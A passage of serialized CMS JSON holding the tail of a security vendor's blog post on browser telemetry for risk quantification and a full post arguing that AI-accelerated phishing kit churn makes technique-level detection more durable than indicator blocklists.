them.",{"data":6809,"content":6810,"nodeType":1317},{},[6811],{"data":6812,"marks":6813,"value":288,"nodeType":865},{},[6814],{"type":926},{"data":6816,"content":6817,"nodeType":866},{},[6818,6822,6831,6836],{"data":6819,"marks":6820,"value":21,"nodeType":865},{},[6821],{"type":926},{"data":6823,"content":6824,"nodeType":889},{"uri":3720},[6825],{"data":6826,"marks":6827,"value":6830,"nodeType":865},{},[6828,6829],{"type":943},{"type":926},"Analysis of 20,000 unique extensions deployed across Push customer environments",{"data":6832,"marks":6833,"value":6835,"nodeType":865},{},[6834],{"type":926}," found that 46.76% have the permission combinations required for account takeover without user interaction. ",{"data":6837,"marks":6838,"value":6839,"nodeType":865},{},[],"The extensions carrying these permissions aren't flagged by risk scoring systems because the same permissions are used by ad blockers, password managers, and translation tools (the downside of relying on tools that rely on dubious scoring to assess extensions, but I digress). ",{"data":6841,"content":6842,"nodeType":866},{},[6843],{"data":6844,"marks":6845,"value":6846,"nodeType":865},{},[],"What matters for risk quantification isn't the permission set or an arbitrary score assigned by a vendor; it's whether the monitoring exists to detect when a previously-clean extension changes ownership, escalates permissions, or behaves anomalously. Without that monitoring, the exposure is real but unquantified.",{"data":6848,"content":6849,"nodeType":1317},{},[6850],{"data":6851,"marks":6852,"value":6854,"nodeType":865},{},[6853],{"type":926},"ClickFix and non-email delivery channels",{"data":6856,"content":6857,"nodeType":866},{},[6858,6862,6870,6874,6881],{"data":6859,"marks":6860,"value":6861,"nodeType":865},{},[],"ClickFix — where a malicious page silently writes a PowerShell or mshta command into the victim's clipboard and instructs them to paste it — was ",{"data":6863,"content":6865,"nodeType":889},{"uri":6864},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf",[6866],{"data":6867,"marks":6868,"value":6869,"nodeType":865},{},[],"the most common initial access vector observed by Microsoft in 2025",{"data":6871,"marks":6872,"value":6873,"nodeType":865},{},[],", and CrowdStrike reported a",{"data":6875,"content":6876,"nodeType":889},{"uri":1929},[6877],{"data":6878,"marks":6879,"value":6880,"nodeType":865},{},[]," 563% increase in fake CAPTCHA lures",{"data":6882,"marks":6883,"value":6884,"nodeType":865},{},[]," (one of the most common ClickFix styles in which the user has to \"verify they're human\" by running a command on their machine). ",{"data":6886,"content":6887,"nodeType":866},{},[6888],{"data":6889,"marks":6890,"value":6891,"nodeType":865},{},[],"What makes this particularly relevant for risk quantification is the delivery channel: 4 in 5 ClickFix payloads intercepted by Push arrive via search engines, not email. A risk model that estimates threat event frequency from email-based phishing telemetry alone is structurally blind to an entire category of attack that has become one of the most prevalent initial access methods in the landscape.",{"data":6893,"content":6894,"nodeType":1317},{},[6895],{"data":6896,"marks":6897,"value":6899,"nodeType":865},{},[6898],{"type":926},"Authorization attacks",{"data":6901,"content":6902,"nodeType":866},{},[6903],{"data":6904,"marks":6905,"value":6906,"nodeType":865},{},[],"Device code phishing and OAuth consent abuse represent a slightly separate category of identity attack that most risk models don't account for because they operate after the authentication flow has already completed — meaning password strength, MFA coverage, and SSO adoption are irrelevant to whether the attack succeeds. ",{"data":6908,"content":6912,"nodeType":912},{"target":6909},{"sys":6910},{"id":6911,"type":909,"linkType":910},"7qtHmxCzBm5664jD6HsCwN",[],{"data":6914,"content":6915,"nodeType":972},{},[],{"data":6917,"content":6918,"nodeType":981},{},[6919],{"data":6920,"marks":6921,"value":6923,"nodeType":865},{},[6922],{"type":926},"The key lesson for CISOs",{"data":6925,"content":6926,"nodeType":866},{},[6927],{"data":6928,"marks":6929,"value":6930,"nodeType":865},{},[],"A risk model that measures identity vulnerability purely in terms of authentication hygiene at the IdP layer — how many accounts have MFA, how many use SSO — will correctly quantify one dimension of exposure while completely missing another that is growing faster and is structurally immune to the controls being measured.",{"data":6932,"content":6933,"nodeType":866},{},[6934],{"data":6935,"marks":6936,"value":6938,"nodeType":865},{},[6937],{"type":926},"For a CISO building a risk model, these aren't edge cases. They represent a real attack surface that doesn't show up in models built on conventional network, endpoint, and cloud telemetry. We aren't just talking about better inputs to risk modeling — we're talking about entirely new risk scenarios that aren't being modeled at all, supported by live data.",{"data":6940,"content":6944,"nodeType":912},{"target":6941},{"sys":6942},{"id":6943,"type":909,"linkType":910},"2ObEcO1gqz8lrOLCZzfpNw",[],{"data":6946,"content":6947,"nodeType":972},{},[],{"data":6949,"content":6950,"nodeType":1317},{},[6951],{"data":6952,"marks":6953,"value":6955,"nodeType":865},{},[6954],{"type":926},"Browser telemetry makes a CISO's life easier",{"data":6957,"content":6958,"nodeType":866},{},[6959],{"data":6960,"marks":6961,"value":6962,"nodeType":865},{},[],"Browser-based telemetry changes the conversation a CISO can have with a CFO or board. Instead of \"industry benchmarks suggest our expected annual loss from account compromise is somewhere in this range,\" the answer is, \"We can see how often these attacks are attempted against our users, and we can measure what percentage of our accounts have the controls in place to stop them,\" or \"We know how many shadow AI apps our users self-provision and share data with each month.\" ",{"data":6964,"content":6965,"nodeType":866},{},[6966],{"data":6967,"marks":6968,"value":6969,"nodeType":865},{},[],"Identity risk is only a piece of the quantification problem. Loss magnitude, regulatory exposure, and reputational impact are still extremely hard to estimate regardless of how good your frequency inputs are. ",{"data":6971,"content":6972,"nodeType":866},{},[6973],{"data":6974,"marks":6975,"value":6976,"nodeType":865},{},[],"But the identity attack surface is one of the few areas in security where measurement is genuinely achievable right now, and the gap between what most organizations are modeling and what's actually observable is significant. Shadow SaaS integrations, unapproved AI connections, browser extensions with excessive privileges — these are enumerable risks that don't appear in models built on network, endpoint, and cloud access telemetry alone. ",{"data":6978,"content":6979,"nodeType":866},{},[6980,6985],{"data":6981,"marks":6982,"value":6984,"nodeType":865},{},[6983],{"type":926},"The lesson for CISOs serious about quantitative risk management is this: the frameworks exist, the talent is available, and the bottleneck is almost always data quality. ",{"data":6986,"marks":6987,"value":6988,"nodeType":865},{},[],"Browser telemetry is a good example of the kind of high-fidelity, environment-specific measurement that closes that gap.",{"data":6990,"content":6991,"nodeType":972},{},[],{"data":6993,"content":6994,"nodeType":866},{},[6995],{"data":6996,"marks":6997,"value":4591,"nodeType":865},{},[],{"data":6999,"content":7000,"nodeType":866},{},[7001,7005,7012],{"data":7002,"marks":7003,"value":7004,"nodeType":865},{},[],"Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see. ",{"data":7006,"content":7007,"nodeType":889},{"uri":5477},[7008],{"data":7009,"marks":7010,"value":7011,"nodeType":865},{},[],"Book a live demo",{"data":7013,"marks":7014,"value":2302,"nodeType":865},{},[],"The CISO's data problem (and how browser telemetry can help)","How CISOs can use browser telemetry to support cyber risk quantification in areas where traditional data points fall short. ","2026-05-11T00:00:00.000Z","the-cisos-data-problem-and-how-browser-telemetry-can-help",{"items":7020},[7021,7023],{"sys":7022,"name":2314},{"id":2313},{"sys":7024,"name":342},{"id":4642},{"items":7026},[7027],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":7028},{"url":853},{"__typename":1429,"sys":7030,"content":7032,"title":7785,"synopsis":7786,"hashTags":59,"publishedDate":7787,"slug":7788,"tagsCollection":7789,"authorsCollection":7797},{"id":7031},"5RDOpmzJolwT1hk0fNIxzf",{"json":7033},{"data":7034,"content":7035,"nodeType":1382},{},[7036,7054,7060,7067,7074,7077,7085,7103,7122,7129,7134,7141,7147,7154,7162,7169,7187,7216,7222,7228,7236,7243,7261,7291,7323,7330,7336,7344,7351,7362,7369,7408,7414,7454,7493,7499,7502,7510,7517,7523,7530,7537,7543,7550,7557,7585,7588,7596,7603,7611,7618,7625,7644,7651,7657,7664,7672,7679,7696,7703,7722,7725,7733,7740,7747,7754,7757,7763,7769],{"data":7037,"content":7038,"nodeType":866},{},[7039,7043,7050],{"data":7040,"marks":7041,"value":7042,"nodeType":865},{},[],"Back in 2024, we wrote about ",{"data":7044,"content":7045,"nodeType":889},{"uri":4788},[7046],{"data":7047,"marks":7048,"value":7049,"nodeType":865},{},[],"how the Pyramid of Pain shapes Push's detection philosophy",{"data":7051,"marks":7052,"value":7053,"nodeType":865},{},[]," — detections targeting indicators that are easy for attackers to change deliver diminishing returns, while detections targeting attacker techniques impose a cost that's hard to absorb. Two years on, every force that made IoC-based detection fragile has intensified.",{"data":7055,"content":7059,"nodeType":912},{"target":7056},{"sys":7057},{"id":7058,"type":909,"linkType":910},"1iuLYxwI8T1wDUIFSom0G0",[],{"data":7061,"content":7062,"nodeType":866},{},[7063],{"data":7064,"marks":7065,"value":7066,"nodeType":865},{},[],"AI hasn't introduced a new problem so much as it's compressed the timelines on an existing one — attackers can generate infrastructure, iterate on tooling, and industrialize newly discovered techniques faster than before. The bottom layers of the Pyramid are collapsing under the weight of machine-speed operations, and the middle layers are starting to buckle too.",{"data":7068,"content":7069,"nodeType":866},{},[7070],{"data":7071,"marks":7072,"value":7073,"nodeType":865},{},[],"These changes mean that technique-level detection is more important than ever. In this article, we’ll dig into how the Pyramid is changing, and what this means for our detection philosophy at Push (TL;DR — it reinforces the path we’re already on: building detections at the top of the Pyramid by harnessing browser visibility). ",{"data":7075,"content":7076,"nodeType":972},{},[],{"data":7078,"content":7079,"nodeType":981},{},[7080],{"data":7081,"marks":7082,"value":7084,"nodeType":865},{},[7083],{"type":926},"The bottom of the Pyramid was already crumbling",{"data":7086,"content":7087,"nodeType":866},{},[7088,7092,7099],{"data":7089,"marks":7090,"value":7091,"nodeType":865},{},[],"The case against indicator-based detection didn't need AI to be compelling. ",{"data":7093,"content":7095,"nodeType":889},{"uri":7094},"https://www.spamhaus.org/",[7096],{"data":7097,"marks":7098,"value":5046,"nodeType":865},{},[],{"data":7100,"marks":7101,"value":7102,"nodeType":865},{},[],", with just 6.5% surviving past 15 days — by the time a domain makes it onto a blocklist, the campaign has moved on.",{"data":7104,"content":7105,"nodeType":866},{},[7106,7110,7118],{"data":7107,"marks":7108,"value":7109,"nodeType":865},{},[],"We've ",{"data":7111,"content":7113,"nodeType":889},{"uri":7112},"https://pushsecurity.com/blog/why-most-phishing-attacks-feel-like-a-zero-day/",[7114],{"data":7115,"marks":7116,"value":7117,"nodeType":865},{},[],"written before",{"data":7119,"marks":7120,"value":7121,"nodeType":865},{},[]," about how this makes every phishing attack effectively a zero-day for organizations relying on known-bad detection. The phishing kit's behavior — its page structure, script signatures, malicious payload mechanics — is the only detection target that outlasts a single campaign.",{"data":7123,"content":7124,"nodeType":866},{},[7125],{"data":7126,"marks":7127,"value":7128,"nodeType":865},{},[],"When we blogged about the Pyramid of Pain for modern attacks that happen predominantly over the internet, with minimal (or zero) endpoint contact, it first looked like this: ",{"data":7130,"content":7133,"nodeType":912},{"target":7131},{"sys":7132},{"id":4802,"type":909,"linkType":910},[],{"data":7135,"content":7136,"nodeType":866},{},[7137],{"data":7138,"marks":7139,"value":7140,"nodeType":865},{},[],"Now, it looks more like this:",{"data":7142,"content":7146,"nodeType":912},{"target":7143},{"sys":7144},{"id":7145,"type":909,"linkType":910},"mfhP4WToOQkrHnVkXU0tX",[],{"data":7148,"content":7149,"nodeType":866},{},[7150],{"data":7151,"marks":7152,"value":7153,"nodeType":865},{},[],"Let’s explore why. ",{"data":7155,"content":7156,"nodeType":1317},{},[7157],{"data":7158,"marks":7159,"value":7161,"nodeType":865},{},[7160],{"type":926},"AI is accelerating phishing rotation and delivery",{"data":7163,"content":7164,"nodeType":866},{},[7165],{"data":7166,"marks":7167,"value":7168,"nodeType":865},{},[],"Attackers are harnessing AI at every stage, speeding up the process of creating, rotating, and replacing phishing infrastructure at every level, as well as capitalizing on AI adoption itself to enhance their lures. The operational signature is more domains, shorter lifespans, more variation, and fewer of the reuse patterns that blocklists depend on.",{"data":7170,"content":7171,"nodeType":866},{},[7172,7176,7183],{"data":7173,"marks":7174,"value":7175,"nodeType":865},{},[],"Attackers can ",{"data":7177,"content":7178,"nodeType":889},{"uri":5233},[7179],{"data":7180,"marks":7181,"value":7182,"nodeType":865},{},[],"vibe-code entire phishing pages in minutes",{"data":7184,"marks":7185,"value":7186,"nodeType":865},{},[]," — not just cloning legitimate login pages but vibe-cloning them, feeding an AI a screenshot and having it rebuild a convincing frontend with a completely unique backend. ",{"data":7188,"content":7189,"nodeType":866},{},[7190,7194,7202,7206,7212],{"data":7191,"marks":7192,"value":7193,"nodeType":865},{},[],"We've seen attackers clone free SaaS tools like background removers and PDF converters, then inject phishing components or ClickFix payloads into what looks like a functional utility. We’ve even seen attackers distributing malware using AI-generated pages shared using ",{"data":7195,"content":7196,"nodeType":889},{"uri":883},[7197],{"data":7198,"marks":7199,"value":7201,"nodeType":865},{},[7200],{"type":943},"LLM tool sharing functionality",{"data":7203,"marks":7204,"value":7205,"nodeType":865},{},[],", resulting in phishing delivery pages hosted on real claude.ai and chatgpt.com. And legitimate cloud platforms like ",{"data":7207,"content":7208,"nodeType":889},{"uri":5817},[7209],{"data":7210,"marks":7211,"value":5823,"nodeType":865},{},[],{"data":7213,"marks":7214,"value":7215,"nodeType":865},{},[],", Cloudflare Workers, and Vercel host and dynamically rotate attack infrastructure, so the domains feeding into blocklists often belong to reputable services that can't simply be blocked. ",{"data":7217,"content":7221,"nodeType":912},{"target":7218},{"sys":7219},{"id":7220,"type":909,"linkType":910},"5yoLmqysyQazfzLITCUTfc",[],{"data":7223,"content":7227,"nodeType":912},{"target":7224},{"sys":7225},{"id":7226,"type":909,"linkType":910},"5XK5qZMQU19xlA8L2T5y0Z",[],{"data":7229,"content":7230,"nodeType":1317},{},[7231],{"data":7232,"marks":7233,"value":7235,"nodeType":865},{},[7234],{"type":926},"The kit ecosystem is fragmenting faster than anyone can track",{"data":7237,"content":7238,"nodeType":866},{},[7239],{"data":7240,"marks":7241,"value":7242,"nodeType":865},{},[],"What we see across our install base is a huge and growing variation in phishing kits — new kits, derivative kits of known platforms, derivatives of those derivatives — appearing on a weekly basis.",{"data":7244,"content":7245,"nodeType":866},{},[7246,7250,7257],{"data":7247,"marks":7248,"value":7249,"nodeType":865},{},[],"As we reported in our ",{"data":7251,"content":7252,"nodeType":889},{"uri":1419},[7253],{"data":7254,"marks":7255,"value":7256,"nodeType":865},{},[],"Browser Attacks Report",{"data":7258,"marks":7259,"value":7260,"nodeType":865},{},[],", the most common AiTM kits we detected over the last year were Tycoon 2FA (59% of detections), followed by Sneaky 2FA, FlowerStorm, Evilginx (nominally a red team tool, but widely abused by attackers), NakedPages, Gabagool, and dozens more — but those established names are just the visible layer.",{"data":7262,"content":7263,"nodeType":866},{},[7264,7268,7276,7280,7287],{"data":7265,"marks":7266,"value":7267,"nodeType":865},{},[],"Code is forked, modified, and redeployed across kits in a pattern that ",{"data":7269,"content":7271,"nodeType":889},{"uri":7270},"https://blog.barracuda.com/2026/04/16/threat-spotlight-tycoon-2fa-scattered-everywhere",[7272],{"data":7273,"marks":7274,"value":7275,"nodeType":865},{},[],"resembles open-source development",{"data":7277,"marks":7278,"value":7279,"nodeType":865},{},[]," more than traditional criminal enterprise, and the rate at which new variants appear is accelerating. The ",{"data":7281,"content":7282,"nodeType":889},{"uri":1951},[7283],{"data":7284,"marks":7285,"value":7286,"nodeType":865},{},[],"Venom kit",{"data":7288,"marks":7289,"value":7290,"nodeType":865},{},[]," reuses Sneaky 2FA's AiTM infrastructure but carries different branding and adds device code phishing — whether it's the same developers, stolen code, or a deliberate fork is unclear.",{"data":7292,"content":7293,"nodeType":866},{},[7294,7298,7306,7310,7319],{"data":7295,"marks":7296,"value":7297,"nodeType":865},{},[],"Tycoon 2FA illustrates the scale of the evolution. The kit evolves continuously, addingnew capabilities, new evasion techniques, and hybridizing with other platforms. Even when Sekoia and Microsoft seized 330+ Tycoon domains in March 2026, the techniques it popularized were already embedded across competitors, and the slack was taken up by rival platforms within days. And in any case, Tycoon was back to ",{"data":7299,"content":7301,"nodeType":889},{"uri":7300},"https://www.crowdstrike.com/en-us/blog/tycoon2fa-phishing-as-a-service-platform-persists-following-takedown/",[7302],{"data":7303,"marks":7304,"value":7305,"nodeType":865},{},[],"normal levels of operation",{"data":7307,"marks":7308,"value":7309,"nodeType":865},{},[]," shortly after. It has also been observed ",{"data":7311,"content":7313,"nodeType":889},{"uri":7312},"https://www.okta.com/en-nl/blog/threat-intelligence/tycoon_2fa_phishing_actors_scatter/",[7314],{"data":7315,"marks":7316,"value":7318,"nodeType":865},{},[7317],{"type":943},"pivoting to add new device code phishing capabilities",{"data":7320,"marks":7321,"value":7322,"nodeType":865},{},[]," (more on that below). ",{"data":7324,"content":7325,"nodeType":866},{},[7326],{"data":7327,"marks":7328,"value":7329,"nodeType":865},{},[],"Tear one down and there are many more to take its place — and meanwhile the original is already evolving into something new.",{"data":7331,"content":7335,"nodeType":912},{"target":7332},{"sys":7333},{"id":7334,"type":909,"linkType":910},"3UDzUCCizPJhXp3SsoZuSK",[],{"data":7337,"content":7338,"nodeType":1317},{},[7339],{"data":7340,"marks":7341,"value":7343,"nodeType":865},{},[7342],{"type":926},"New techniques are being industrialized faster than ever",{"data":7345,"content":7346,"nodeType":866},{},[7347],{"data":7348,"marks":7349,"value":7350,"nodeType":865},{},[],"As well as the fragmentation of existing kits, we’re seeing new techniques added at an accelerating rate. ",{"data":7352,"content":7353,"nodeType":866},{},[7354,7358],{"data":7355,"marks":7356,"value":360,"nodeType":865},{},[7357],{"type":926},{"data":7359,"marks":7360,"value":7361,"nodeType":865},{},[]," is the clearest case study. From early nation state adoption in 2024, it took until 2026 for criminal adoption to really take off, but the take-up this year is unprecedented. The EvilTokens kit packaged device code phishing into a PhaaS offering with GPT-powered spear-phishing and adaptive landing pages, hitting 340+ organizations across five countries in March 2026. ",{"data":7363,"content":7364,"nodeType":866},{},[7365],{"data":7366,"marks":7367,"value":7368,"nodeType":865},{},[],"Now, device code functionality is now a core phish kit component. We’re tracking 18+ kits with device code phishing capabilities and a 37.5x increase in device code phishing detections this year alone, with the technique moving from state-sponsored exclusivity to something any PhaaS customer can rent.",{"data":7370,"content":7371,"nodeType":866},{},[7372,7376,7384,7388,7393,7397,7405],{"data":7373,"marks":7374,"value":7375,"nodeType":865},{},[],"Similarly, when we ",{"data":7377,"content":7379,"nodeType":889},{"uri":7378},"https://pushsecurity.com/blog/inside-criminal-phishing-panel",[7380],{"data":7381,"marks":7382,"value":7383,"nodeType":865},{},[],"infiltrated Doko's Panel",{"data":7385,"marks":7386,"value":7387,"nodeType":865},{},[]," — a ",{"data":7389,"marks":7390,"value":7392,"nodeType":865},{},[7391],{"type":926},"real-time vishing and AiTM platform",{"data":7394,"marks":7395,"value":7396,"nodeType":865},{},[]," used by ShinyHunters and affiliated groups — the codebase was full of LLM-generated artifacts. Multiple groups were using the templated vishing panel and spinning up their own variants, but the AI-generated indicators persisted throughout. This approach to real-time vishing + browser payload has been a ",{"data":7398,"content":7399,"nodeType":889},{"uri":3820},[7400],{"data":7401,"marks":7402,"value":7404,"nodeType":865},{},[7403],{"type":943},"mainstay of the Com affiliates like ShinyHunters this year",{"data":7406,"marks":7407,"value":6719,"nodeType":865},{},[],{"data":7409,"content":7413,"nodeType":912},{"target":7410},{"sys":7411},{"id":7412,"type":909,"linkType":910},"01mOiserRBXraawXwQyJNm",[],{"data":7415,"content":7416,"nodeType":866},{},[7417,7421,7425,7429,7438,7442,7450],{"data":7418,"marks":7419,"value":7420,"nodeType":865},{},[],"The broader ",{"data":7422,"marks":7423,"value":315,"nodeType":865},{},[7424],{"type":926},{"data":7426,"marks":7427,"value":7428,"nodeType":865},{},[]," family shows the same acceleration: First reported in early 2024 and adopted by four nation-state groups within a single quarter. Fast forward and ",{"data":7430,"content":7432,"nodeType":889},{"uri":7431},"https://www.crowdstrike.com/en-us/global-threat-report/",[7433],{"data":7434,"marks":7435,"value":7437,"nodeType":865},{},[7436],{"type":943},"CrowdStrike's data",{"data":7439,"marks":7440,"value":7441,"nodeType":865},{},[]," shows a 563% increase in fake CAPTCHA incidents (one of the more common ClickFix lure types), while ",{"data":7443,"content":7444,"nodeType":889},{"uri":6864},[7445],{"data":7446,"marks":7447,"value":7449,"nodeType":865},{},[7448],{"type":943},"Microsoft reported",{"data":7451,"marks":7452,"value":7453,"nodeType":865},{},[]," it as making up 47% of observed attacks according to their Digital Defense Report.",{"data":7455,"content":7456,"nodeType":866},{},[7457,7461,7466,7470,7478,7482,7489],{"data":7458,"marks":7459,"value":7460,"nodeType":865},{},[],"And ",{"data":7462,"marks":7463,"value":7465,"nodeType":865},{},[7464],{"type":926},"ConsentFix",{"data":7467,"marks":7468,"value":7469,"nodeType":865},{},[]," — a combination of ClickFix and OAuth consent phishing techniques — suggests the next compression is already underway. Push researchers ",{"data":7471,"content":7473,"nodeType":889},{"uri":7472},"https://pushsecurity.com/blog/consentfix/",[7474],{"data":7475,"marks":7476,"value":7477,"nodeType":865},{},[],"discovered the technique",{"data":7479,"marks":7480,"value":7481,"nodeType":865},{},[]," in December 2025 — a browser-native ClickFix variant hijacking OAuth consent grants via Azure CLI's localhost redirect. It was later confirmed to be tied to APT29. By January 2026, a ",{"data":7483,"content":7484,"nodeType":889},{"uri":5739},[7485],{"data":7486,"marks":7487,"value":7488,"nodeType":865},{},[],"criminal ConsentFix v3 toolkit",{"data":7490,"marks":7491,"value":7492,"nodeType":865},{},[]," had appeared on the XSS forum with Cloudflare Workers, ZoomInfo targeting, and automated exfiltration via Pipedream.",{"data":7494,"content":7498,"nodeType":912},{"target":7495},{"sys":7496},{"id":7497,"type":909,"linkType":910},"41FMif4T0y1maflzonWgL8",[],{"data":7500,"content":7501,"nodeType":972},{},[],{"data":7503,"content":7504,"nodeType":981},{},[7505],{"data":7506,"marks":7507,"value":7509,"nodeType":865},{},[7508],{"type":926},"Why technique-level detection is the only layer that holds",{"data":7511,"content":7512,"nodeType":866},{},[7513],{"data":7514,"marks":7515,"value":7516,"nodeType":865},{},[],"The middle of the Pyramid — tool signatures and artifacts — used to offer much more durable detection than infrastructure indicators. Fingerprinting a specific phishing kit by its JavaScript structure or HTML patterns provided a detection target that survived across dozens or hundreds of campaigns, even as the underlying domains rotated. Tool level detections are still better, but not by quite the same margin.",{"data":7518,"content":7522,"nodeType":912},{"target":7519},{"sys":7520},{"id":7521,"type":909,"linkType":910},"5pxaYdCIFiFKLPhRaPoldX",[],{"data":7524,"content":7525,"nodeType":866},{},[7526],{"data":7527,"marks":7528,"value":7529,"nodeType":865},{},[],"When the kit landscape was dominated by a handful of platforms, you could write signatures for Tycoon, Sneaky2FA, EvilProxy, and so on, and cover the lion's share of attacks. With the ecosystem now producing new variants and entirely new kits on a weekly basis, detecting by kit fingerprint starts to look uncomfortably similar to detecting by domain.",{"data":7531,"content":7532,"nodeType":866},{},[7533],{"data":7534,"marks":7535,"value":7536,"nodeType":865},{},[],"But many of these proliferating kits do share behavioral patterns at a deeper level than their code signatures. For example, every device code phishing kit implements fundamentally the same flow: present a lure, generate a device code via the OAuth Device Authorization endpoint, get the user to enter it on the legitimate authorization page, and poll for the resulting tokens. The frontends vary, the infrastructure varies, but the behavioral pattern doesn't.",{"data":7538,"content":7542,"nodeType":912},{"target":7539},{"sys":7540},{"id":7541,"type":909,"linkType":910},"FyyHayQtsJTwoB1kluMOl",[],{"data":7544,"content":7545,"nodeType":866},{},[7546],{"data":7547,"marks":7548,"value":7549,"nodeType":865},{},[],"Genuinely new attack techniques still require human creativity — an attacker has to identify a gap in how a legitimate protocol or feature can be subverted. That kind of innovation hasn't been automated. But the window to discover a technique, build a detection, and then deploy it before it is adopted by criminals at scale is compressing with each generation.",{"data":7551,"content":7552,"nodeType":866},{},[7553],{"data":7554,"marks":7555,"value":7556,"nodeType":865},{},[],"Organizations that detect at the technique level and deploy before commoditization have a structural advantage that increases over time. Waiting for indicators — even tool-level indicators — means chasing a curve that's accelerating away from you. This is the challenge we grapple with every day as we strive for the most resilient detections possible. ",{"data":7558,"content":7559,"nodeType":7584},{},[7560],{"data":7561,"content":7562,"nodeType":866},{},[7563,7567,7575,7579],{"data":7564,"marks":7565,"value":7566,"nodeType":865},{},[],"As our CPO Jacques Louw put it on ",{"data":7568,"content":7570,"nodeType":889},{"uri":7569},"https://risky.biz/RBNEWSSI128/",[7571],{"data":7572,"marks":7573,"value":7574,"nodeType":865},{},[],"Risky Business",{"data":7576,"marks":7577,"value":7578,"nodeType":865},{},[],": ",{"data":7580,"marks":7581,"value":7583,"nodeType":865},{},[7582],{"type":898},"\"There's no list of bad domains anywhere in the product. It's a crutch — a false cheat code that stops you from doing the detection in the way that actually is resilient, because the next time you see it, it will be on a different domain.\"","blockquote",{"data":7586,"content":7587,"nodeType":972},{},[],{"data":7589,"content":7590,"nodeType":981},{},[7591],{"data":7592,"marks":7593,"value":7595,"nodeType":865},{},[7594],{"type":926},"What it takes to detect at the top of the Pyramid",{"data":7597,"content":7598,"nodeType":866},{},[7599],{"data":7600,"marks":7601,"value":7602,"nodeType":865},{},[],"If technique-level detection is the only layer that holds, two things have to be true about your detection capability: You need the right vantage point, and you need the research velocity to stay ahead.",{"data":7604,"content":7605,"nodeType":1317},{},[7606],{"data":7607,"marks":7608,"value":7610,"nodeType":865},{},[7609],{"type":926},"You need the right vantage point",{"data":7612,"content":7613,"nodeType":866},{},[7614],{"data":7615,"marks":7616,"value":7617,"nodeType":865},{},[],"Technique-level behaviors in browser-based identity attacks — how a phishing page orchestrates credential entry, how a device code flow presents its authorization prompt, how a ClickFix variant manipulates the clipboard — are visible in the browser session and nowhere else.",{"data":7619,"content":7620,"nodeType":866},{},[7621],{"data":7622,"marks":7623,"value":7624,"nodeType":865},{},[],"Network proxies see encrypted traffic and can attempt to reconstruct page behavior from metadata, but DOM manipulation, user interaction sequences, and script execution aren't visible from that vantage point. Email gateways see the delivery mechanism (or nothing at all in the increasing number of social media and search engine based attacks) but not the payload.",{"data":7626,"content":7627,"nodeType":866},{},[7628,7632,7640],{"data":7629,"marks":7630,"value":7631,"nodeType":865},{},[],"As we disclosed in our ",{"data":7633,"content":7634,"nodeType":889},{"uri":1419},[7635],{"data":7636,"marks":7637,"value":7639,"nodeType":865},{},[7638],{"type":943},"browser attacks report",{"data":7641,"marks":7642,"value":7643,"nodeType":865},{},[],", 95% of in-browser attacks we detect use some form of bot protection, often combined with conditional loading techniques like referrer and browser checks, reliably defeating automated analysis techniques. ",{"data":7645,"content":7646,"nodeType":866},{},[7647],{"data":7648,"marks":7649,"value":7650,"nodeType":865},{},[],"Behavioral detection at the technique level requires observing what happens on the page at the moment the user interacts with it — analyzing pages, not links. When you see the entire browsing flow — ad click, redirect chain, page render, credential prompt — an attack stands out immediately. Without that context, any detection system is forced to fill in gaps, and the gaps are where attacks hide.",{"data":7652,"content":7656,"nodeType":912},{"target":7653},{"sys":7654},{"id":7655,"type":909,"linkType":910},"4804g6u4POUDpL42bzP0EY",[],{"data":7658,"content":7659,"nodeType":866},{},[7660],{"data":7661,"marks":7662,"value":7663,"nodeType":865},{},[],"Push sits inside the browser session, observing this in real time. Its detections target the behavioral mechanics of techniques rather than the surface characteristics of individual kits or infrastructure.",{"data":7665,"content":7666,"nodeType":1317},{},[7667],{"data":7668,"marks":7669,"value":7671,"nodeType":865},{},[7670],{"type":926},"You need the research expertise",{"data":7673,"content":7674,"nodeType":866},{},[7675],{"data":7676,"marks":7677,"value":7678,"nodeType":865},{},[],"When the window between technique discovery and industrialized exploitation is measured in weeks rather than years, the detection pipeline needs to operate on that same compressed timescale.",{"data":7680,"content":7681,"nodeType":866},{},[7682,7686,7692],{"data":7683,"marks":7684,"value":7685,"nodeType":865},{},[],"This is where our ",{"data":7687,"content":7688,"nodeType":889},{"uri":5233},[7689],{"data":7690,"marks":7691,"value":5238,"nodeType":865},{},[],{"data":7693,"marks":7694,"value":7695,"nodeType":865},{},[]," fits. It's tripled our monthly detection output — not by generating bigger blocklists, but by scaling the process of discovering behavioral patterns across the telemetry generated by 3+ million browser deployments.",{"data":7697,"content":7698,"nodeType":866},{},[7699],{"data":7700,"marks":7701,"value":7702,"nodeType":865},{},[],"The detections it produces are technique-class by design, targeting how attacks work rather than the infrastructure or specific tool that implements them. The goal is curation, not accumulation — hundreds of high-fidelity behavioral detections rather than the billions of signatures and domain entries that traditional approaches require.",{"data":7704,"content":7705,"nodeType":866},{},[7706,7710,7718],{"data":7707,"marks":7708,"value":7709,"nodeType":865},{},[],"When we detected the first in-the-wild ",{"data":7711,"content":7713,"nodeType":889},{"uri":7712},"https://pushsecurity.com/blog/installfix/",[7714],{"data":7715,"marks":7716,"value":7717,"nodeType":865},{},[],"InstallFix attack",{"data":7719,"marks":7720,"value":7721,"nodeType":865},{},[]," through the pipeline — a user had searched for NotebookLM, clicked a paid Google ad, and was redirected to a fake page with a WebAssembly C2 connector — the detection shipped to all customers within minutes. It didn't depend on knowing the domain, the ad creative, or the specific kit. It depended on recognizing the technique itself.",{"data":7723,"content":7724,"nodeType":972},{},[],{"data":7726,"content":7727,"nodeType":981},{},[7728],{"data":7729,"marks":7730,"value":7732,"nodeType":865},{},[7731],{"type":926},"Technique-level detection is now the only option",{"data":7734,"content":7735,"nodeType":866},{},[7736],{"data":7737,"marks":7738,"value":7739,"nodeType":865},{},[],"As a framework for detection durability, the Pyramid of Pain is more relevant than ever. ",{"data":7741,"content":7742,"nodeType":866},{},[7743],{"data":7744,"marks":7745,"value":7746,"nodeType":865},{},[],"AI has made infrastructure indicators essentially disposable. The tools tier is compressing as criminal vendors vibe-code, fork, and clone tooling at machine speed. Technique-level detection is the layer that holds long-term to be able to proactively detect and block net-new attacks and the kits that power them. 